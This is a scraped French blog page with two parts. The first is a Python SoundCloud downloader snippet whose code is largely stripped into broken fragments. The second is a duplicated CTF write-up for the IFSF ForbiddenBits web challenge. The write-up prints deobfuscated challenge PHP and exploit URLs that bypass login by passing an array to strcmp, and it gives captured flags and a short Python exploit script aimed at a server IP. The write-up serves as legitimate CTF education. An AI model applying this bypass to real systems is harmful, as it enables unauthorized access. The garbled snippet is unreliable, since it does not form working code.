# Name: Soundcloud downloader & searcher (Based on Xartrick's Soundcloud Downloader) # Version: 0.1 # Author: nowz (Based on Xartrick's Soundcloud Downloader) import os import sys import urllib2 import re from urllib import urlretrieve sSplit = sSplit = . return for i in : sString = # ASCII only return sString print ("------------------------(SEARCH)------------------------") print ("USAGE: %s search [what you search]" % ( )) print ("EXEMPLE: %s search Skrillex dubstep" % ( )) print ("-----------------------(DOWNLOAD)-----------------------") print ("USAGE: %s download [url]" % ( )) print ("EXEMPLE: %s download http://soundcloud.com/ill-gates/bassnectar-ill-gates-probable\n" % ( )) if < 3: if >= 3: if == "search": search = "%20". search2 = " ". print ("[+] Recherche au sujet de : %s" % (search2)) f = data = gruik = number=0 for i in gruik: print ("[#%s] Titre : %s \nLien: http://soundcloud.com%s" % (number+1, , )) number = number + 1 elif == "download": sURL = oURL = sPage = sInformation = sAuthor = sName = sLink = sFile = + "/" + sAuthor + " - " + sName + ".mp3" print("\nAuthor: %s" % (sAuthor)) print("Name: %s" % (sName)) print("Link: %s" % (sLink)) else: if __name__ == "__main__":
jeudi 16 février 2012
[Python snippet] SoundCloud Searcher & Downloader (Improvable)
lundi 13 février 2012
IFSF - ForbiddenBits Write-UP #1
Bonjour à vous lecteurs,
Alors le CTF IFSF est fini, et les writes-up commencent à faire apparition sur sites des concurrents alors pourquoi pas nous et en Français.
Alors avant tout j'ai participé à ce CTF avec Zenk-Security ! c’était un plaisir de le faire avec eux. Il y avait une super ambiance et un super dynamisme !
Sur cette épreuve web nous remarquons que les pages passent par $_GET[] sous la forme :
index.php?organization // index.php?news
On provoque une collision en faisant :
index.php?organization&news
On obtient l'erreur suivante :
En visitant ce dossier on tombe sur un .gz du fichier member.php (attention les yeux, il était tout encrypté)
grâce à tlk_ et var_dump() on a réussi a obtenir quelques choses de clair.
et
On doit passer par index.php pour que params soit bien load est non par le dossier.
On voit que si la fonction $_GET["4kXI0N"] vaut login la fonction auth() est appelé ! On l'a alors essayé de la manière suivante :
Pour bypass le login on a fait de login un array en mettant :
Ce qui nous a permis d'obtenir un SESSID, on modifiait nos cookies pour remplacer notre PHPSESSID par celui qu'on a obtenu, et on obtenait le dernier FLAG
Alors le CTF IFSF est fini, et les writes-up commencent à faire apparition sur sites des concurrents alors pourquoi pas nous et en Français.
Alors avant tout j'ai participé à ce CTF avec Zenk-Security ! c’était un plaisir de le faire avec eux. Il y avait une super ambiance et un super dynamisme !
Sur cette épreuve web nous remarquons que les pages passent par $_GET[] sous la forme :
index.php?organization // index.php?news
On provoque une collision en faisant :
index.php?organization&news
On obtient l'erreur suivante :
<b>Fatal error</b>: Cannot redeclare showPage_FLAG1_48NG9X9448HF4() (previously declared in /var/www/html/SECURITY_include_files_OBSCURITY/news.php:3) in <b>/var/www/html/SECURITY_include_files_OBSCURITY/members.php</b> on line <b>5</b><br />On a là notre premier flag et un dossier.
En visitant ce dossier on tombe sur un .gz du fichier member.php (attention les yeux, il était tout encrypté)
grâce à tlk_ et var_dump() on a réussi a obtenir quelques choses de clair.
$se
=
$GLOBALS
[
"@@"
];
$s
=
filesize
(
$se
);
$f
=
fopen
(
$se
,
"r"
);
fseek
(
$f
,2794);
$ss
=
fread
(
$f
,
$s
-2794);
$Nv
=hash(
"sha512"
,md5(
$s
).md5(
$ss
));
$Nv
=
$Nv
.
$Nv
.
$Nv
;
$V
=
$GLOBALS
[
"xij"
]^
$Nv
;
if
(!preg_match(
"/[^\x20-\x7f]/"
,
$V
)){
$B
=create_function(
""
,
$V
);
@
$B
();
}
<?
function
auth(
$X
){
if
(!isset(
$_SESSION
[
"loggedIn"
])){
$_SESSION
[
"loggedIn"
]=true;
if
(@
$_GET
[
"pass"
]===
$X
[9])
echo
$X
[8];
else
{
echo
$X
[11];
ob_flush();
unset(
$_SESSION
[
"loggedIn"
]);
}
}
}
$j
=@
$_GET
[
"4kXI0N"
];
$f
=file(
"params.php"
);
if
(!@
strcmp
(
$j
,
"login"
)){
if
(
"login"
===
$_GET
[
"4kXI0N"
]){
echo
$f
[16];
}
else
{
auth(
$f
);
echo
$f
[5];
}
}
unset(
$GLOBALS
);
On doit passer par index.php pour que params soit bien load est non par le dossier.
On voit que si la fonction $_GET["4kXI0N"] vaut login la fonction auth() est appelé ! On l'a alors essayé de la manière suivante :
- http://208.64.122.29/?members&4kXI0N=login&pass=blah
On a eu un message "under construction"
Pour bypass le login on a fait de login un array en mettant :
- http://208.64.122.29/?members&&4kXI0N[]=login&pass=blah
Et la on a une erreur avec le flag n°2, "Wrong password" ... donc le login est bien bypass.
FLAG_2:
EJZ94374F4Z_ZEF43
Maintenant pour bypass le password on a trouvé ce paper qui nous a bien :
et tlk_ a pu coder ceci :
#!/usr/bin/env python # encoding: utf-8 """ sploit.py """ import httplib def main(): conn = httplib.HTTPConnection("208.64.122.29") conn.request("HEAD","/?members&4kXI0N[]=login") reponse = conn.getresponse() print(reponse.getheaders()) if __name__ == '__main__': main()
Inscription à :
Articles (Atom)